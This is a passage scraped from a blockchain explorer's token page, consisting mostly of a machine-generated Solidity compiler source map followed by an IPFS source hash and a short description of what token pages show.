-;:25;;:30::i;:::-;28250:45;-1:-1:-1;28306:13:0;28322:28;28346:3;28322:19;:7;28334:6;28322:11;:19::i;:28::-;28306:44;-1:-1:-1;28361:23:0;28387:28;28306:44;28387:17;:7;28399:4;28387:11;:17::i;:::-;:21;;:28::i;:::-;28361:54;28451:4;;-1:-1:-1;28457:5:0;;-1:-1:-1;28002:469:0;;-1:-1:-1;;;;;28002:469:0:o;28479:534::-;28673:7;;;;28770:24;:7;28782:11;28770;:24::i;:::-;28752:42;-1:-1:-1;28805:12:0;28820:21;:4;28829:11;28820:8;:21::i;:::-;28805:36;-1:-1:-1;28852:13:0;28868:22;:5;28878:11;28868:9;:22::i;:::-;28852:38;-1:-1:-1;28901:23:0;28927:28;28852:38;28927:17;:7;28939:4;28927:11;:17::i;:28::-;28974:7;;;;-1:-1:-1;29000:4:0;;-1:-1:-1;28479:534:0;;-1:-1:-1;;;;;;;28479:534:0:o;16928:246::-;16986:7;17010:1;17015;17010:6;17006:47;;-1:-1:-1;17040:1:0;17033:8;;17006:47;17063:9;17075:5;17079:1;17075;:5;:::i;:::-;17063:17;-1:-1:-1;17108:1:0;17099:5;17103:1;17063:17;17099:5;:::i;:::-;:10;17091:56;;;;-1:-1:-1;;;17091:56:0;;10441:2:1;17091:56:0;;;10423:21:1;10480:2;10460:18;;;10453:30;10519:34;10499:18;;;10492:62;-1:-1:-1;;;10570:18:1;;;10563:31;10611:19;;17091:56:0;10239:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:118::-;2575:5;2568:13;2561:21;2554:5;2551:32;2541:60;;2597:1;2594;2587:12;2612:241;2668:6;2721:2;2709:9;2700:7;2696:23;2692:32;2689:52;;;2737:1;2734;2727:12;2689:52;2776:9;2763:23;2795:28;2817:5;2795:28;:::i;2858:247::-;2917:6;2970:2;2958:9;2949:7;2945:23;2941:32;2938:52;;;2986:1;2983;2976:12;2938:52;3025:9;3012:23;3044:31;3069:5;3044:31;:::i;3110:385::-;3196:6;3204;3212;3220;3273:3;3261:9;3252:7;3248:23;3244:33;3241:53;;;3290:1;3287;3280:12;3241:53;-1:-1:-1;;3313:23:1;;;3383:2;3368:18;;3355:32;;-1:-1:-1;3434:2:1;3419:18;;3406:32;;3485:2;3470:18;3457:32;;-1:-1:-1;3110:385:1;-1:-1:-1;3110:385:1:o;3500:388::-;3568:6;3576;3629:2;3617:9;3608:7;3604:23;3600:32;3597:52;;;3645:1;3642;3635:12;3597:52;3684:9;3671:23;3703:31;3728:5;3703:31;:::i;:::-;3753:5;-1:-1:-1;3810:2:1;3795:18;;3782:32;3823:33;3782:32;3823:33;:::i;:::-;3875:7;3865:17;;;3500:388;;;;;:::o;3893:356::-;4095:2;4077:21;;;4114:18;;;4107:30;4173:34;4168:2;4153:18;;4146:62;4240:2;4225:18;;3893:356::o;4254:127::-;4315:10;4310:3;4306:20;4303:1;4296:31;4346:4;4343:1;4336:15;4370:4;4367:1;4360:15;4386:125;4451:9;;;4472:10;;;4469:36;;;4485:18;;:::i;4868:251::-;4938:6;4991:2;4979:9;4970:7;4966:23;4962:32;4959:52;;;5007:1;5004;4997:12;4959:52;5039:9;5033:16;5058:31;5083:5;5058:31;:::i;6045:306::-;6133:6;6141;6149;6202:2;6190:9;6181:7;6177:23;6173:32;6170:52;;;6218:1;6215;6208:12;6170:52;6247:9;6241:16;6231:26;;6297:2;6286:9;6282:18;6276:25;6266:35;;6341:2;6330:9;6326:18;6320:25;6310:35;;6045:306;;;;;:::o;6635:245::-;6702:6;6755:2;6743:9;6734:7;6730:23;6726:32;6723:52;;;6771:1;6768;6761:12;6723:52;6803:9;6797:16;6822:28;6844:5;6822:28;:::i;7695:128::-;7762:9;;;7783:11;;;7780:37;;;7797:18;;:::i;8371:127::-;8432:10;8427:3;8423:20;8420:1;8413:31;8463:4;8460:1;8453:15;8487:4;8484:1;8477:15;8503:980;8765:4;8813:3;8802:9;8798:19;8844:6;8833:9;8826:25;8870:2;8908:6;8903:2;8892:9;8888:18;8881:34;8951:3;8946:2;8935:9;8931:18;8924:31;8975:6;9010;9004:13;9041:6;9033;9026:22;9079:3;9068:9;9064:19;9057:26;;9118:2;9110:6;9106:15;9092:29;;9139:1;9149:195;9163:6;9160:1;9157:13;9149:195;;;9228:13;;-1:-1:-1;;;;;9224:39:1;9212:52;;9319:15;;;;9284:12;;;;9260:1;9178:9;9149:195;;;-1:-1:-1;;;;;;;9400:32:1;;;;9395:2;9380:18;;9373:60;-1:-1:-1;;;9464:3:1;9449:19;9442:35;9361:3;8503:980;-1:-1:-1;;;8503:980:1:o;9488:217::-;9528:1;9554;9544:132;;9598:10;9593:3;9589:20;9586:1;9579:31;9633:4;9630:1;9623:15;9661:4;9658:1;9651:15;9544:132;-1:-1:-1;9690:9:1;;9488:217::o;10066:168::-;10139:9;;;10170;;10187:15;;;10181:22;;10167:37;10157:71;;10208:18;;:::i

Swarm Source

ipfs://b34ae8ff299a64740f95fd225fbeca212ed3c75f2e6f37be1479865ba7e3ae65
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.